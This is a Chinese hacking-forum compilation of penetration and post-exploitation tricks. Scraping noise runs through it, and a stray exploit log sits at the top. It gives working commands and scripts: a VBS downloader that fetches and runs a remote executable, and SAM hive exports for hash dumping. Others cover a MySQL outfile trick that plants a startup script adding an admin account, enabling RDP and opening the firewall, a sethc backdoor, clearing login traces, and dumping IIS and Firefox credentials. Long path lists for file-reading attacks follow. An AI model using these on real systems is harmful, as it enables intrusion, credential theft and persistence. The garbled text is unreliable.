+ f/ I% P/ X3 x. \2 W3 ~* [argp@julius ~]$ sysctl vfs.usermount
8 m/ Y) e" R( E. k3 u* vfs.usermount: 1
' r. l# K+ N/ w  o- @5 I* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
+ f, A2 y* A& e0 W, m5 |  |* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
$ w- l4 U7 }0 m0 K7 K2 S1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
% J8 W% \6 B& ~8 f. r& c. R, N注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
" V- i. Q  \1 Z- _2 P2 f3 x" F  @那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
( I3 j- b+ E3 J0 |& V: r}  

$ k& a, N. R4 d8 w提权先执行systeminfo
1 D5 Y2 `% I' ~: h1 M' ]  \token 漏洞补丁号 KB956572
Churrasco          kb952004
+ E7 _7 w* d) j* j# ~' D$ I命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
9 O9 T7 ]' h# N: V2、收集系统信息的脚本  
for window：

@echo off
. D0 E& R3 w' M3 D% `5 X2 Jecho #########system info collection
systeminfo
ver
hostname
net user
+ \: y2 G- I) `$ c( y" z) v" Vnet localgroup
* o( [! I5 a7 Q  Rnet localgroup administrators
net user guest
+ S! k' |3 k0 t7 U. K2 qnet user administrator
, O7 {- v5 u7 G. P7 W% v* u$ N
echo #######at- with   atq#####
8 P9 M- d! L/ fecho schtask /query
( M: a3 X8 g/ U3 @
echo
) }* q2 r) N6 E5 E4 j) Oecho ####task-list#############
! E4 O+ n# i& ^3 o5 F- X5 l- \tasklist /svc
% |1 N# E! I9 E6 ?( Z/ _* aecho
echo ####net-work infomation
ipconfig/all
7 J, U( ~5 A- t" Uroute print
; W! b7 e2 Y. |& L9 F0 J# Harp -a
netstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
: F* s2 {7 W: s4 q  w6 O9 Eecho #######file-##############
' M! y* n+ [! [cd \
1 p9 _; l; n) S' k8 n$ a; E, @tree -F
for linux：
" g4 K6 Y+ ]. |1 p; Y: h4 I
#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
4 f' O9 T* c; \5 C( z) L. Wecho #######basic infomation##
, R) U( Y& ?% y4 Y. D+ Mcat /proc/meminfo
3 u) s- d0 T6 fecho
, }$ h4 e, I% d3 I; b0 Z2 fcat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
+ W4 T& V- A2 [) r
8 C% E6 }8 X/ |/ x2 b* G: t/ O# f9 T1 ~
1 z6 D1 t  r' Q4 ^$ @8 w3 |# c, Qecho 'u'r id is' `id`
% p/ u' o# q$ A1 x, Z4 P* gecho ###atq&crontab#####
# T* J# Y9 D: L8 {atq
/ I2 G3 w+ @: q5 xcrontab -l
9 k" X/ j- H2 j0 n, E+ U, Fecho #####about var#####
set

echo #####about network###
: ~% N+ {  t7 M( ~  y7 C. N8 C####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
6 s( A% a9 z4 o4 [  x( P# k; }ipconfig -a
0 [* E! T" i  Q6 r: _7 O& O$ Narp -v
echo ########user####
- b. y  V6 G' i( a1 y1 Z4 A& pcat /etc/passwd|grep -i sh
: ]8 Y- z, _5 \6 E
4 Y" H9 n+ Z3 ~+ [echo ######service####
chkconfig --list
5 h% L; o# o5 a
" w2 s+ q' _7 w# u# Q) {1 Y; Jfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
5 q( N" z8 P  N; `8 f( V: D' ~5 n
locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
" N4 M9 o. K. D1 Klocate conf >/tmp/sysconfig 2>dev/null
7 u: i( B& k8 j' Dsleep 5
locate config >>/tmp/sysconfig 2>/dev/null
1 I; ?9 s. t+ s& U  [" l+ Isleep 5
; }1 ~# h- g, N2 R
###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
! a' `, `/ t& V# R6 x1 W$ n——————————————
% x0 }$ a* X5 ]/ x6 ~3 t$ i3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
( b3 x, T* w3 X' }" y- U               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
$ c& ^0 [1 f7 y) M) E7 e2 m注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
) J( w: b  j: ~( y接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
) s9 C6 ^+ t9 V& U/ a# {; b0 ^据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
' ]4 B4 ]2 I" m3 a——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
; j/ q/ E& h/ x$ ?3 P1 Z" i7 Wecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
" D7 Q2 c: V& e0 a/ `8 @. hecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
4 @8 p/ q& b% R/ D4 Y5 s/ O' _! \s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
; Q5 _3 r; J, S0 h6 Z, cSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
& D. A  t, I* F5 N' H
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
- u) t3 c) y, U9 ?0 n1 a8 p
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
( x& B, P  w" ]1 Y3 h1 ^3.更改终端端口为2008(0x7d8)
: r3 l; l; x3 u: J8 i! x8 {REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
  @, |+ y. r* Q, o3 f; m( I3 bREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
4 Y, v0 O4 l* ?: F: D. N, l————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
% ~! ~& E+ Y. l; G+ G* g7 I7 cinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
6 h* h6 g& W3 d1 fselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
0 l" s% `+ w1 }' t_____
8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
  
  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来

2 h! y" o" }' b% m7 K& Y- `2.for /r %i in (*.exe) do @echo %i
/ @# n( s1 `( f5 y, k3 I  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

& X9 a+ @4 l! lfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

4 K* [8 [$ o+ j3.for /f %i in (c:\1.txt) do echo %i
, @% Y& S, i' Q  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
# F" W7 q7 c; p
: d# p& r$ v( C( B' w, {3 ^) Q4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
6 L" I; V6 `7 ~+ h7 |) ]
; K# k! W& }0 f/ @  delims=后的空格是分隔符 tokens是取第几个位置
1 X0 }1 |( c! W——————————
●注册表:
+ h% o/ _- j. L3 t! e( j6 D9 H% S1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
$ k& z( u# C3 ~! y+ M5 l1 L. E
% P: N6 Q+ a/ u# f2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
: Z* E9 ?" G) {; r修改PortNumber.
8 I  @; t( S- v
3.清除3389登录记录:
% Q/ l% V5 t: m# y4 Ureg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

2 |9 k9 s& v8 a4.Radmin密码:
  U& R/ d! F* W$ C8 u7 J) Kreg export HKLM\SYSTEM\RAdmin c:\a.reg
+ A8 q1 a4 ^% x
; x- v! M8 Y+ m5 }, d5.禁用TCP/IP端口筛选(需重启):
+ i2 {6 t# n2 |& KREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
4 {( j% z; C5 a
6.IPSec默认免除项88端口(需重启):
3 s  `9 u9 }. creg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
' u: x9 k* }1 L+ Q1 R6 r2 X: k( F或者
netsh ipsec dynamic set config ipsecexempt value=0

+ E7 G3 C) N; _, [* g1 @7.停止指派策略"myipsec":
. W2 t" Q- w# @& S0 F4 z( mnetsh ipsec static set policy name="myipsec" assign=n

+ x7 e3 r1 `. ]1 }3 x" g0 e& f; d8.系统口令恢复LM加密:
0 N3 M1 P) K; h9 u" O4 ?. H4 Mreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
, {; u/ C9 x4 g% m, @# x; Preg save hklm\system c:\system.hive
, y7 m9 a/ h  A7 Kreg save hklm\security c:\security.hive
: U' L6 h& D8 c
+ j( C" N# L- B4 t10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
9 |7 _) N- Q2 H, ]9 B) UFor Each obj3w In objservice
8 T  _( r; ^5 F& SchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
7 t  J! U+ T4 l  R- Y2 ?9 H- {set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
& q: j$ J9 r5 ?5 N( A! l6 V# b8 Rexit for
" [/ c. j; X3 imsgbox("error!")
$ T  A$ _) t* ywscript.quit
end if
serverbindings=IIS.serverBindings
# _3 B" K5 N; n" K' BServerComment=iis.servercomment
  I' P+ p% K& G& U$ hset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
( O  q+ m  J- w# _pass=iisweb.AnonymousUserPass
% K5 }3 a. h/ e$ ?+ Mpath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
8 u" M- H6 X0 c$ |* {3 {7 {/ B; q% Eend if
, z5 K; B: S3 v: B" `Next
  m3 v, u% m2 T+ e( t, b, Dwscript.echo list
" v/ |" v5 ?3 [% N( |/ ESet ObjService=Nothing
; r' X( p' ]/ E* W8 Dwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
/ I; A8 K6 Q( F* D0 w, n* X2 d复制代码
, N/ K0 K0 ~1 X4 s6 ~0 j----------------------2011新气象，欢迎各位补充、指正、优化。----------------
) u) T. |8 e# T! h" b1 t' ]1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
2 d8 j1 w* X/ ~- U" g, I2 n<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
" j; t# r# q, I% n</OBJECT>
复制代码
1 v# e# m0 q) v. D, f4 D然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
2 o) t- s" D3 pPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
5 \1 L" k$ ]/ H% h; z/ h 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
0 Q9 h# \) H- b2 r, J1 w$ z
==============================================================
LINUX常见路径：
4 i' _3 ]; Z- i& v* N! u3 n$ R
8 e" c! `6 w5 h( m" f/etc/passwd
1 B7 L( x0 f) Z, P8 u1 v" J/etc/shadow
4 I% E$ y5 L- x/etc/fstab
/etc/host.conf
; ^% \' d2 w6 U- P1 w/etc/motd
6 |9 {* m3 h* e; f/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
3 C# X$ m' R. l& d4 N7 y/var/www/htdocs/index.html
/var/httpd/conf/php.ini
" v5 z- \2 B' A( R- V! K/var/httpd/htdocs/index.php
& F3 |( K4 q; ^0 R, d$ G! }  p/var/httpd/conf/httpd.conf
+ }- Y6 X; L4 F- h& C/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
- K$ [, M5 g0 s" {9 A/var/www/index.html
, d: }1 M. ~3 R" X" Z. Y/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
5 q$ a8 O8 X+ L& |. l+ i1 B/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
! a1 ~  g  g% W) J( D/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
7 a+ {5 A: h& S# M1 S( N" b/ Q/usr/local/apache2/htdocs/index.php
3 r' w* }& n: T& m+ x5 s/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
% l. q# x8 f# h. F, k  M& b/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
1 _8 r3 a- Q$ l/ h. _8 o/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
6 \- ]% k6 v1 }- g2 n' f/apache/apache/conf/httpd.conf
& @. b; s& m. ?* W/apache/apache2/conf/httpd.conf
. I4 u- @( k; M' A/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
5 u5 k8 Y; Y8 r& v/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
6 c% P! j) q# b6 t: w) q0 u/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
7 Q$ G& U6 J. C) ~* }% _  _: g/etc/httpd/logs/error.log
! W3 [* z: v. f$ D. I4 Z/etc/httpd/logs/access_log
% [" j- G" k" ~. b: u7 o/etc/httpd/logs/access.log
2 Z, [8 D. R8 r( o/ U7 k/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
+ ]2 s6 V4 X; v& B! S- o+ R0 X7 ]+ t/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
  V& i- F# i! F8 y& n4 ?/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
1 E4 [( E5 ]: T9 L9 I' U  U! {/var/www/logs/access_log
/var/www/logs/access.log
% d8 X. p( m* W% {( D1 t# i- I/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
% L1 ?1 c. D  g7 C/usr/local/apache/logs/access.log
7 d( _! ]* b! O- S0 J- O( ]( }/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
' [5 X+ c: Y: I  |( I1 ^/usr/local/apache/logs/access_logaccess_log.old
, g# ^4 _5 U5 Q4 H" T/usr/local/apache/logs/error_logerror_log.old
5 \9 w; G- d# I3 p2 k/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
* x9 P% Z6 r( f7 d0 [/etc/init.d/mysql
+ r2 N5 S- J# B, y" t- T/etc/httpd/php.ini
! Y5 R3 f6 }  V2 B/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
2 z! L8 u. g1 ^8 ]' G5 D/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
" R  ^$ U' a7 J. g4 }0 s) D# I' I/usr/local/php4/lib/php.ini
8 n' I3 c% Y: B; H% h  G/usr/local/php5/lib/php.ini
3 L4 T: t9 p) m7 `3 g# ]/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
: |: f  a. `- D# g/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
: [8 z3 x6 E2 g- B/ g$ J# j/etc/php5/apache/php.ini
, F/ K; F8 Z7 D- e/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
7 i/ o! N3 L) Q9 U! Z! ^# t  `; T/etc/php/apache2/php.ini
/web/conf/php.ini
: \0 }! s9 u: L/usr/local/Zend/etc/php.ini
) N3 _7 q1 o5 J, N1 S5 \/opt/xampp/etc/php.ini
9 a4 H8 q. r& b7 W8 Q/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
6 |0 z! n' v; i6 s# ?1 }/php5/php.ini
/php4/php.ini
0 v8 M6 L& U1 r( t4 c. ^3 P/php/php.ini
( S* i1 E4 ?+ K% D. c) T; e4 e/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
* m- I, U2 m( F& r/NetServer/bin/stable/apache/php.ini
7 e) n6 r# \* N" V6 U2 l8 t: U/home2/bin/stable/apache/php.ini
) Y, i* _! f. V% E/home/bin/stable/apache/php.ini
( a( v% `; c. [/var/log/mysql/mysql-bin.log
. @, I5 I# a3 P/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
1 _* f- S  Q5 ~* ~2 R/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
+ b9 s8 f2 U3 R- [' r' p, w7 h/usr/local/mysql/my.cnf
  |! n( L! c2 Z: n: A% X/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
7 L. ^0 j+ S" c- E4 V$ i. A/ m# X& e6 o/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
" W9 L* a" a/ G" x/usr/local/share/examples/php4/php.ini
- D* }2 P6 `3 V2 q; h, f/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
! Y% x* c, a+ D& F/ j0 K! l$ s
c:\windows\php.ini
c:\boot.ini
+ ?8 L1 B8 T6 i1 R+ hc:\1.txt
c:\a.txt

) h* V# p' M( ]! _0 W7 p% }/ S) Mc:\CMailServer\config.ini
" b; F  ~$ g$ m7 M% bc:\CMailServer\CMailServer.exe
0 ]  V) M+ u3 d8 G0 ?c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
+ z( q2 I# E: ZC:\WINDOWS\7i24iislog4.exe
7 Z6 ~# }$ u: WC:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
$ e4 m. f& v! L; S! @C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
  x, m1 C2 @" w/ }
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
' Z' _/ \7 Q3 Z6 WC:\WINDOWS\web.config
c:\web\index.html
8 ?, \5 i% h* ^  t' g* z& yc:\www\index.html
' I5 m& L  ]" ~) u/ o; v) s+ c, g) M$ x# lc:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
% {! a5 l9 c5 Z& y: ]3 Gc:\WWWROOT\index.asp
c:\web\index.php
7 u( J8 C% N) [! ^c:\www\index.php
+ k6 g# u% Z% W$ {5 ~/ \+ Qc:\WWWROOT\index.php
. ~( J6 N! X$ h) U8 m$ J; v$ h) `c:\WWWsite\index.php
, d4 t; A& u+ N7 f( hc:\web\default.html
: G/ j9 `- m, Ac:\www\default.html
7 @0 J3 t2 p  w3 c' @! t! Pc:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
9 i- N' j0 x  b6 w1 D) w' yc:\www\default.asp
6 B8 q* |; v2 Ec:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
& S3 _) i# @. g! k8 V- l) }1 mC:\Inetpub\wwwroot\pagerror.gif
7 o2 M7 _; Y' d* Wc:\windows\notepad.exe
; C% @- C* X& h5 p+ Hc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
- N3 b! z# N6 Q. y4 o; X* jC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
* j- D5 T/ @0 zC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
0 X- _/ m! h' g$ w; G  cc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
2 O, F( T0 F# n6 SC:\Documents and Settings\All Users\Start Menu\desktop.ini
) K: o( F3 V# _# aC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
2 ~) w& \( K$ o, ~5 tC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
9 q. C2 Z7 z6 E: p" {* F+ yC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
; u- B1 ~) m5 M$ h0 ?% h8 oC:\Documents and Settings\Administrator\桌面\a.txt
8 ]& Z2 L& m* o6 ~9 |8 N* `  c4 uC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
* l% V+ n: w4 ]: n- jC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
- K# Y$ z1 L0 W" ?1 {2 N' g% RC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
: R, Z  C& X7 W+ W/ m& KC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
, u. Z4 H5 f+ o! h- j& N9 s( gC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
2 X9 e: Y1 s7 ?3 K! }9 ], `" ^C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
8 L. e0 U8 M- _9 G6 w2 j- {C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
9 G* B/ K7 L7 Y3 s% u6 eC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
# f3 O9 _1 w3 o9 [. nC:\MySQL\MySQL Server 5.0\my.ini
) h6 ~1 a) ~  B0 t' P) pC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
$ x7 Z3 K3 z" X  IC:\Program Files\MySQL\MySQL Server 5.0\COPYING
9 k, `8 z* @( h- B& pC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
5 h) h; |( H0 S+ {% KC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
% S# G1 H" y" j$ P: E% `: pC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
/ M4 P" J6 H  i3 hC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
* s, \9 K! Q* p' u" O3 W  kc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
  ]5 z4 o8 D+ E4 i5 ]9 Hc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
* }3 Q* u8 {2 A  I/ cc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
  @- Z: R$ T" GC:\Program Files\Apache Group\Apache2\bin\Apache.exe
3 t& {! Y5 H7 Y1 T4 P1 N/usr/local/tomcat5527/bin/version.sh
* T: t. V% Y6 V4 `/usr/share/tomcat6/bin/startup.sh
& t5 _3 x! u+ c7 P- _" ~4 ^/usr/tomcat6/bin/startup.sh
% L- S. Y- ^: h! Q" Jc:\Program Files\QQ2007\qq.exe
) U9 v$ f+ [; W0 Xc:\Program Files\Tencent\qq\User.db
  x0 G$ L4 r, q, Qc:\Program Files\Tencent\qq\qq.exe
3 e7 U/ e# q" A2 }" oc:\Program Files\Tencent\qq\bin\qq.exe
  {) z( B& u* v# |+ p3 l+ jc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
